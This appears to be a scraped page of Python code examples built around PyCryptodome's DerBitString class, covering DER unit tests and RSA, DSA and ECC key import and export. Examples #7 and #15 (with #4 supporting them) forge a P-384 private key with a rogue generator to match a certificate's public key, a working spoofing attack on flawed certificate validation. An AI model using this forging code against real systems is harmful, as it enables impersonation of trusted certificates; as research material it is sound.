예제 #1
0
 def testDecode1(self):
     # Empty sequence
     der = DerBitString()
     der.decode(b('\x03\x00'))
     self.assertEqual(der.value, b(''))
     # Small payload
     der.decode(b('\x03\x03\x00\x01\x02'))
     self.assertEqual(der.value, b('\x01\x02'))
예제 #2
0
 def testEncode1(self):
     # Empty sequence
     der = DerBitString()
     self.assertEquals(der.encode(), b('\x03\x01\x00'))
     # Small payload
     der = DerBitString(b('\x01\x02'))
     self.assertEquals(der.encode(), b('\x03\x03\x00\x01\x02'))
     # Small payload
     der = DerBitString()
     der.value = b('\x01\x02')
     self.assertEquals(der.encode(), b('\x03\x03\x00\x01\x02'))
예제 #3
0
    def _export_private_der(self, include_ec_params=True):

        assert self.has_private()

        # ECPrivateKey ::= SEQUENCE {
        #           version        INTEGER { ecPrivkeyVer1(1) } (ecPrivkeyVer1),
        #           privateKey     OCTET STRING,
        #           parameters [0] ECParameters {{ NamedCurve }} OPTIONAL,
        #           publicKey  [1] BIT STRING OPTIONAL
        #    }

        # Public key - uncompressed form
        modulus_bytes = self.pointQ.size_in_bytes()
        public_key = (b'\x04' + self.pointQ.x.to_bytes(modulus_bytes) +
                      self.pointQ.y.to_bytes(modulus_bytes))

        seq = [
            1,
            DerOctetString(self.d.to_bytes(modulus_bytes)),
            DerObjectId(self._curve.oid, explicit=0),
            DerBitString(public_key, explicit=1)
        ]

        if not include_ec_params:
            del seq[2]

        return DerSequence(seq).encode()
예제 #4
0
def generate_privkey(d, generator):
    """
        Generate a private key with explicit parameters.
    """
    modulus_bytes = 48
    a = P384.a % P384.p
    public_key = d * generator
    generator = (b'\x04' + generator.x.to_bytes(modulus_bytes, "big") +
                 generator.y.to_bytes(modulus_bytes, "big"))
    public_key = (b'\x04' + public_key.x.to_bytes(modulus_bytes, "big") +
                  public_key.y.to_bytes(modulus_bytes, "big"))

    field_parameters = DerSequence([DerObjectId("1.2.840.10045.1.1"), P384.p])
    parameters = [
        DerSequence([
            1, field_parameters,
            DerSequence([
                DerOctetString(a.to_bytes(modulus_bytes, "big")),
                DerOctetString(P384.b.to_bytes(modulus_bytes, "big"))
            ]),
            DerOctetString(generator), P384.q, 1
        ])
    ]
    seq = [
        1,
        DerOctetString(d.to_bytes(modulus_bytes, "big")),
        DerSequence(parameters, implicit=0),
        DerBitString(public_key, explicit=1)
    ]

    return seq
예제 #5
0
def _importKeyDER(extern_key, passphrase, verify_x509_cert):
    """Import an RSA key (public or private half), encoded in DER form."""

    try:

        der = DerSequence().decode(extern_key)

        # Try PKCS#1 first, for a private key
        if len(der) == 9 and der.hasOnlyInts() and der[0] == 0:
            # ASN.1 RSAPrivateKey element
            del der[6:]     # Remove d mod (p-1),
                            # d mod (q-1), and
                            # q^{-1} mod p
            der.append(Integer(der[4]).inverse(der[5]))  # Add p^{-1} mod q
            del der[0]      # Remove version
            return construct(der[:])

        # Keep on trying PKCS#1, but now for a public key
        if len(der) == 2:
            try:
                # The DER object is an RSAPublicKey SEQUENCE with
                # two elements
                if der.hasOnlyInts():
                    return construct(der[:])
                # The DER object is a SubjectPublicKeyInfo SEQUENCE
                # with two elements: an 'algorithmIdentifier' and a
                # 'subjectPublicKey'BIT STRING.
                # 'algorithmIdentifier' takes the value given at the
                # module level.
                # 'subjectPublicKey' encapsulates the actual ASN.1
                # RSAPublicKey element.
                if der[0] == algorithmIdentifier:
                    bitmap = DerBitString().decode(der[1])
                    rsaPub = DerSequence().decode(bitmap.value)
                    if len(rsaPub) == 2 and rsaPub.hasOnlyInts():
                        return construct(rsaPub[:])
            except (ValueError, EOFError):
                pass

        # Try to see if this is an X.509 DER certificate
        # (Certificate ASN.1 type)
        if len(der) == 3:
            from Crypto.PublicKey import _extract_sp_info
            try:
                sp_info = _extract_sp_info(der)
                if verify_x509_cert:
                    raise NotImplementedError("X.509 certificate validation is not supported")
                return _importKeyDER(sp_info, passphrase, False)
            except ValueError:
                pass

        # Try PKCS#8 (possibly encrypted)
        k = PKCS8.unwrap(extern_key, passphrase)
        if k[0] == oid:
            return _importKeyDER(k[1], passphrase, False)

    except (ValueError, EOFError):
        pass

    raise ValueError("RSA key format is not supported")
예제 #6
0
def _create_subject_public_key_info(algo_oid, secret_key, params=None):

    if params is None:
        params = DerNull()

    spki = DerSequence([
        DerSequence([DerObjectId(algo_oid), params]),
        DerBitString(secret_key)
    ])
    return spki.encode()
예제 #7
0
def forge(certificate_path: str, key_pem: str):
    """
    given a valid certificate_path and key_pem create a forged key
    """
    public_key_point = get_public_key(certificate_path)
    Q = Point(int(public_key_point[0:96], 16),
              int(public_key_point[96:], 16),
              curve=P384)

    # Generate rogue generator
    privkey_inv = 2
    # we take the private key as being the inverse of 2 modulo the curve order
    private_key = gmpy2.invert(privkey_inv, P384.q)  # pylint: disable=c-extension-no-member
    private_key = unhexlify(f"{private_key:x}".encode())
    # we multply our public key Q with the inverse of our chosen private key value
    roug_g = privkey_inv * Q
    roug_g = unhexlify(b"04" + f"{roug_g.x:x}".encode() +
                       f"{roug_g.y:x}".encode())

    # Generate the file with explicit parameters
    with open(key_pem, mode="rt") as handle:
        keyfile = PEM.decode(handle.read())

    seq_der = DerSequence()
    der = seq_der.decode(keyfile[0])

    # Replace private key
    octet_der = DerOctetString(private_key)
    der[1] = octet_der.encode()

    # Replace public key
    bits_der = DerBitString(unhexlify(b"04" + public_key_point))
    der[3] = b"\xa1\x64" + bits_der.encode()

    # Replace the generator
    seq_der = DerSequence()
    s = seq_der.decode(der[2][4:])  # pylint: disable=invalid-name
    octet_der = DerOctetString(roug_g)
    s[3] = octet_der.encode()
    der[2] = der[2][:4] + s.encode()

    return PEM.encode(der.encode(), "EC PRIVATE KEY")
예제 #8
0
def _create_subject_public_key_info(algo_oid, public_key, params):

    if params is None:
        algorithm = DerSequence([DerObjectId(algo_oid)])
    else:
        algorithm = DerSequence([DerObjectId(algo_oid), params])

    spki = DerSequence([algorithm,
                        DerBitString(public_key)
                        ])
    return spki.encode()
예제 #9
0
 def testEncode1(self):
     # Empty sequence
     der = DerBitString()
     self.assertEquals(der.encode(), b('\x03\x01\x00'))
     # Small payload
     der = DerBitString(b('\x01\x02'))
     self.assertEquals(der.encode(), b('\x03\x03\x00\x01\x02'))
     # Small payload
     der = DerBitString()
     der.value = b('\x01\x02')
     self.assertEquals(der.encode(), b('\x03\x03\x00\x01\x02'))
예제 #10
0
 def testDecode1(self):
     # Empty sequence
     der = DerBitString()
     der.decode(b('\x03\x00'))
     self.assertEqual(der.value, b(''))
     # Small payload
     der.decode(b('\x03\x03\x00\x01\x02'))
     self.assertEqual(der.value, b('\x01\x02'))
예제 #11
0
def _import_private_der(encoded, passphrase, curve_oid=None):

    # See RFC5915 https://tools.ietf.org/html/rfc5915
    #
    # ECPrivateKey ::= SEQUENCE {
    #           version        INTEGER { ecPrivkeyVer1(1) } (ecPrivkeyVer1),
    #           privateKey     OCTET STRING,
    #           parameters [0] ECParameters {{ NamedCurve }} OPTIONAL,
    #           publicKey  [1] BIT STRING OPTIONAL
    #    }

    private_key = DerSequence().decode(encoded, nr_elements=(3, 4))
    if private_key[0] != 1:
        raise ValueError("Incorrect ECC private key version")

    try:
        parameters = DerObjectId(explicit=0).decode(private_key[2]).value
        if curve_oid is not None and parameters != curve_oid:
            raise ValueError("Curve mismatch")
        curve_oid = parameters
    except ValueError:
        pass

    if curve_oid is None:
        raise ValueError("No curve found")

    for curve_name, curve in _curves.items():
        if curve.oid == curve_oid:
            break
    else:
        raise UnsupportedEccFeature("Unsupported ECC curve (OID: %s)" %
                                    curve_oid)

    scalar_bytes = DerOctetString().decode(private_key[1]).payload
    modulus_bytes = curve.p.size_in_bytes()
    if len(scalar_bytes) != modulus_bytes:
        raise ValueError("Private key is too small")
    d = Integer.from_bytes(scalar_bytes)

    # Decode public key (if any)
    if len(private_key) == 4:
        public_key_enc = DerBitString(explicit=1).decode(private_key[3]).value
        public_key = _import_public_der(curve_oid, public_key_enc)
        point_x = public_key.pointQ.x
        point_y = public_key.pointQ.y
    else:
        point_x = point_y = None

    return construct(curve=curve_name, d=d, point_x=point_x, point_y=point_y)
예제 #12
0
def _import_private_der(encoded, passphrase, curve_name=None):

    # ECPrivateKey ::= SEQUENCE {
    #           version        INTEGER { ecPrivkeyVer1(1) } (ecPrivkeyVer1),
    #           privateKey     OCTET STRING,
    #           parameters [0] ECParameters {{ NamedCurve }} OPTIONAL,
    #           publicKey  [1] BIT STRING OPTIONAL
    #    }

    private_key = DerSequence().decode(encoded, nr_elements=(3, 4))
    if private_key[0] != 1:
        raise ValueError("Incorrect ECC private key version")

    try:
        curve_name = DerObjectId(explicit=0).decode(private_key[2]).value
    except ValueError:
        pass

    if curve_name != _curve.oid:
        raise UnsupportedEccFeature("Unsupported ECC curve (OID: %s)" %
                                    curve_name)

    scalar_bytes = DerOctetString().decode(private_key[1]).payload
    order_bytes = _curve.order.size_in_bytes()
    if len(scalar_bytes) != order_bytes:
        raise ValueError("Private key is too small")
    d = Integer.from_bytes(scalar_bytes)

    # Decode public key (if any, it must be P-256)
    if len(private_key) == 4:
        public_key_enc = DerBitString(explicit=1).decode(private_key[3]).value
        public_key = _import_public_der(curve_name, public_key_enc)
        point_x = public_key.pointQ.x
        point_y = public_key.pointQ.y
    else:
        point_x = point_y = None

    return construct(curve="P-256", d=d, point_x=point_x, point_y=point_y)
예제 #13
0
def _expand_subject_public_key_info(encoded):
    """Parse a SubjectPublicKeyInfo structure.

    It returns a triple with:
        * OID (string)
        * encoded public key (bytes)
        * Algorithm parameters (bytes or None)
    """

    #
    # SubjectPublicKeyInfo  ::=  SEQUENCE  {
    #   algorithm         AlgorithmIdentifier,
    #   subjectPublicKey  BIT STRING
    # }
    #
    # AlgorithmIdentifier  ::=  SEQUENCE  {
    #   algorithm   OBJECT IDENTIFIER,
    #   parameters  ANY DEFINED BY algorithm OPTIONAL
    # }
    #

    spki = DerSequence().decode(encoded, nr_elements=2)
    algo = DerSequence().decode(spki[0], nr_elements=(1, 2))
    algo_oid = DerObjectId().decode(algo[0])
    spk = DerBitString().decode(spki[1]).value

    if len(algo) == 1:
        algo_params = None
    else:
        try:
            DerNull().decode(algo[1])
            algo_params = None
        except:
            algo_params = algo[1]

    return algo_oid.value, spk, algo_params
예제 #14
0
 def testDecode2(self):
     # Verify that decode returns the object
     der = DerBitString()
     self.assertEqual(der, der.decode(b('\x03\x00')))
예제 #15
0
# Generate the file with explicit parameters
f = open('p384-key.pem', 'rt')
keyfile = PEM.decode(f.read())
#print(hexlify(keyfile[0]))
f.close()
seq_der = DerSequence()
der = seq_der.decode(keyfile[0])

# Replace private key
octet_der = DerOctetString(privkey)
der[1] = octet_der.encode()

# Replace public key
#print(hexlify(der[3]))
bits_der = DerBitString(unhexlify(b"04" + pubkey))
der[3] = b"\xa1\x64" + bits_der.encode()
#print(hexlify(der[3]))

# Replace the generator
#print(hexlify(der[2]))
seq_der = DerSequence()
s = seq_der.decode(der[2][4:])
octet_der = DerOctetString(rogueG)
s[3] = octet_der.encode()
der[2] = der[2][:4] + s.encode()
#print(hexlify(der[2]))

# Generate new file
f = open('p384-key-rogue.pem', 'w')
#print(hexlify(der.encode()))
예제 #16
0
def _importKeyDER(key_data, passphrase, params):
    """Import a DSA key (public or private half), encoded in DER form."""

    try:
        #
        # Dss-Parms  ::=  SEQUENCE  {
        #       p       OCTET STRING,
        #       q       OCTET STRING,
        #       g       OCTET STRING
        # }
        #

        # Try a simple private key first
        if params:
            x = DerInteger().decode(key_data).value
            p, q, g = list(DerSequence().decode(params))    # Dss-Parms
            tup = (pow(g, x, p), g, p, q, x)
            return construct(tup)

        der = DerSequence().decode(key_data)

        # Try OpenSSL format for private keys
        if len(der) == 6 and der.hasOnlyInts() and der[0] == 0:
            tup = [der[comp] for comp in (4, 3, 1, 2, 5)]
            return construct(tup)

        # Try SubjectPublicKeyInfo
        if len(der) == 2:
            try:
                algo = DerSequence().decode(der[0])
                algo_oid = DerObjectId().decode(algo[0]).value
                params = DerSequence().decode(algo[1])  # Dss-Parms

                if algo_oid == oid and len(params) == 3 and\
                        params.hasOnlyInts():
                    bitmap = DerBitString().decode(der[1])
                    pub_key = DerInteger().decode(bitmap.value)
                    tup = [pub_key.value]
                    tup += [params[comp] for comp in (2, 0, 1)]
                    return construct(tup)
            except (ValueError, EOFError):
                pass

        # Try to see if this is an X.509 DER certificate
        # (Certificate ASN.1 type)
        if len(der) == 3:
            from Crypto.PublicKey import _extract_sp_info
            try:
                sp_info = _extract_sp_info(der)
                return _importKeyDER(sp_info, passphrase, None)
            except ValueError:
                pass

        # Try unencrypted PKCS#8
        p8_pair = PKCS8.unwrap(key_data, passphrase)
        if p8_pair[0] == oid:
            return _importKeyDER(p8_pair[1], passphrase, p8_pair[2])

    except (ValueError, EOFError):
        pass

    raise ValueError("DSA key format is not supported")
예제 #17
0
 def testInit1(self):
     der = DerBitString(b("\xFF"))
     self.assertEqual(der.encode(), b('\x03\x02\x00\xFF'))
예제 #18
0
 def testDecode2(self):
     # Verify that decode returns the object
     der = DerBitString()
     self.assertEquals(der, der.decode(b('\x03\x00')))
예제 #19
0
 def testInit2(self):
     der = DerBitString(DerInteger(1))
     self.assertEqual(der.encode(), b('\x03\x04\x00\x02\x01\x01'))
예제 #20
0
 def testInit2(self):
     der = DerBitString(DerInteger(1))
     self.assertEquals(der.encode(), b('\x03\x04\x00\x02\x01\x01'))
예제 #21
0
 def testInit1(self):
     der = DerBitString(b("\xFF"))
     self.assertEquals(der.encode(), b('\x03\x02\x00\xFF'))
예제 #22
0
print sys.argv[1]
print sys.argv[2]

modulus = int(sys.argv[1])
exponent = int(sys.argv[2])

# Codificacion HEX-DER del SEQUENCE(OID, NULL)
oid_seq = '300d06092a864886f70d0101010500'

# Codificacion DER del SEQUENCE(INTEGER, INTEGER)
int_seq = DerSequence()
int_seq.append(modulus)
int_seq.append(exponent)
int_seq = int_seq.encode()

# Codificacion DER del BIT STRING(...)
bs_der = DerBitString(int_seq)
bs_der = bs_der.encode()

# Codificacion DER del SEQUENCE(SEQUENCE, BIT STRING)
rsa_seq = DerSequence()
rsa_seq.append(unhexlify(oid_seq))
rsa_seq.append(bs_der)
rsa_seq = rsa_seq.encode()

# Exportar la clave publica formateada en hexadecimal a un fichero
f = open(sys.argv[3] + "/pub_key.txt", "w+")
f.write(hexlify(bytearray(rsa_seq)))
f.close()